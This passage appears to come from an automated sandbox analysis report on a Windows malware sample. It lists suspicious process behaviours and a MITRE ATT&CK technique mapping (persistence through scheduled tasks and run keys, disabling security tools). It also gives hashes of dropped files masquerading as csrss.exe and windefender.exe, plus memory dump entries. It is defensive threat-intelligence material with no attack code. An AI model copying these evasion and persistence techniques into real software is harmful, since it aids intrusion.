- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:684

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:488

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Command-Line Interface

T1059

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Impair Defenses

T1562

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
MD5
d98e78fd57db58a11f880b45bb659767

SHA1
ab70c0d3bd9103c07632eeecee9f51d198ed0e76

SHA256
414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

SHA512
aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
MD5
d98e78fd57db58a11f880b45bb659767

SHA1
ab70c0d3bd9103c07632eeecee9f51d198ed0e76

SHA256
414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

SHA512
aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
MD5
160dd398272fd4fdf51f410adad9a51b

SHA1
f49489e7960978dd7dbb1784b0c67b1fd540926d

SHA256
2bd6567a2a3321019d204a42484e626c8b98ecbaf068b66833fc15a737c1f42e

SHA512
8e9d8eadc207bc4ee11d7971a7dc75f1cacd94579c03f406128c302e85c50c0f58e5723d3da74f0c0049b18cdde1842ef6658dbee5d897154377fb39fae4ead4

Download Submit
C:\Windows\rss\csrss.exe
MD5
160dd398272fd4fdf51f410adad9a51b

SHA1
f49489e7960978dd7dbb1784b0c67b1fd540926d

SHA256
2bd6567a2a3321019d204a42484e626c8b98ecbaf068b66833fc15a737c1f42e

SHA512
8e9d8eadc207bc4ee11d7971a7dc75f1cacd94579c03f406128c302e85c50c0f58e5723d3da74f0c0049b18cdde1842ef6658dbee5d897154377fb39fae4ead4

Download Submit
C:\Windows\windefender.exe
MD5
6512ae7c9f36206f6433f78296102419

SHA1
abd1312c5727ac2a64ae5add1706d47cd65386eb

SHA256
6b9468efee35a8454a7fb395f43e5bdd14df918437661846d7d6ec199ba08883

SHA512
a6ece95ec60ac11b8454586f7a67a70b7bfc963691e79f0711b37280a647bddffb57b119b458d766f859841d775a56ebb43b2c63ad50b6fad6df8354ae51473f

Download Submit
C:\Windows\windefender.exe
MD5
6512ae7c9f36206f6433f78296102419

SHA1
abd1312c5727ac2a64ae5add1706d47cd65386eb

SHA256
6b9468efee35a8454a7fb395f43e5bdd14df918437661846d7d6ec199ba08883

SHA512
a6ece95ec60ac11b8454586f7a67a70b7bfc963691e79f0711b37280a647bddffb57b119b458d766f859841d775a56ebb43b2c63ad50b6fad6df8354ae51473f

Download Submit
C:\Windows\windefender.exe
MD5
6512ae7c9f36206f6433f78296102419

SHA1
abd1312c5727ac2a64ae5add1706d47cd65386eb

SHA256
6b9468efee35a8454a7fb395f43e5bdd14df918437661846d7d6ec199ba08883

SHA512
a6ece95ec60ac11b8454586f7a67a70b7bfc963691e79f0711b37280a647bddffb57b119b458d766f859841d775a56ebb43b2c63ad50b6fad6df8354ae51473f

Download Submit
\Users\Admin\AppData\Local\Temp\dbghelp.dll
MD5
f0616fa8bc54ece07e3107057f74e4db

SHA1
b33995c4f9a004b7d806c4bb36040ee844781fca

SHA256
6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

SHA512
15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
MD5
335ee604bc5976ee83b38f3dddfed723

SHA1
2511136d8b9d34b521dd6d9d6c9bdd4c34a0e6ac

SHA256
8373267ef4dceb7999ccfa9c3c47e75c2623f5aa16a5e46baf2a394faaf5d77f

SHA512
87ad9512b45bcfcb0d1287788d88adb2563b003c960eb0e36185cbd2d038d878bee6768a1a6585a2f8ba98f294a8c56762af24f7c8cfc1afaf57e67e9ed5a9ee

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe
MD5
78c581e475d59efdebee2d3f4355f03f

SHA1
fda6c1f77f772afaa1b44a44c1fb29ee07434d10

SHA256
9f7e7ce0767d327ef0657b02a120f521d27444669587c5ccf282c9b199480aee

SHA512
35ed0fc3d9210af3c24a401500aebc8c31d77bb156c447602ca7e91f359931afbf2b69930d80c8fc412b5ba0b9cea8b22b7396f610b4224bbb77d765af042521

Download Submit
\Users\Admin\AppData\Local\Temp\symsrv.dll
MD5
5c399d34d8dc01741269ff1f1aca7554

SHA1
e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

SHA256
e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

SHA512
8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

Download Submit
memory/184-43-0x0000000000000000-mapping.dmp

Download
memory/508-20-0x0000000000000000-mapping.dmp

Download
memory/856-14-0x0000000000400000-0x0000000000C77000-memory.dmp

Filesize
8.5MB

Download
memory/856-13-0x00000000038E0000-0x00000000038E1000-memory.dmp

Filesize
4KB

Download
memory/856-12-0x0000000000000000-mapping.dmp

Download
memory/900-60-0x0000000000000000-mapping.dmp

Download
memory/936-45-0x0000000000000000-mapping.dmp

Download
memory/1148-7-0x0000000000400000-0x0000000000C77000-memory.dmp

Filesize
8.5MB

Download
memory/1148-2-0x0000000003930000-0x0000000003931000-memory.dmp

Filesize
4KB

Download
memory/1148-6-0x0000000003930000-0x000000000418D000-memory.dmp

Filesize
8.4MB

Download
memory/1148-3-0x0000000000400000-0x0000000000C77000-memory.dmp

Filesize
8.5MB

Download
memory/1316-29-0x0000000000000000-mapping.dmp

Download
memory/2156-40-0x0000000000000000-mapping.dmp

Download
memory/2204-50-0x0000000000000000-mapping.dmp

Download
memory/2288-57-0x0000000000400000-0x0000000000897000-memory.dmp

Filesize
4.6MB

Download
memory/2288-54-0x0000000000000000-mapping.dmp

Download
memory/2324-49-0x0000000000000000-mapping.dmp

Download
memory/2412-19-0x0000000000000000-mapping.dmp

Download
memory/2428-37-0x0000000000000000-mapping.dmp

Download
memory/2440-36-0x0000000000000000-mapping.dmp

Download
memory/2648-42-0x0000000000000000-mapping.dmp

Download
memory/2696-21-0x0000000000000000-mapping.dmp

Download
memory/2696-24-0x0000000003DF0000-0x0000000003DF1000-memory.dmp

Filesize
4KB

Download
memory/2728-27-0x0000000000000000-mapping.dmp

Download
memory/2732-48-0x0000000000000000-mapping.dmp

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memory/3236-41-0x0000000000000000-mapping.dmp

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memory/3452-47-0x0000000000000000-mapping.dmp

Download
memory/3676-61-0x0000000000000000-mapping.dmp

Download
memory/3760-39-0x0000000000000000-mapping.dmp

Download
memory/3772-38-0x0000000000000000-mapping.dmp

Download
memory/3848-26-0x0000000000000000-mapping.dmp

Download
memory/3904-46-0x0000000000000000-mapping.dmp

Download
memory/3940-44-0x0000000000000000-mapping.dmp

Download
memory/3960-51-0x0000000000000000-mapping.dmp

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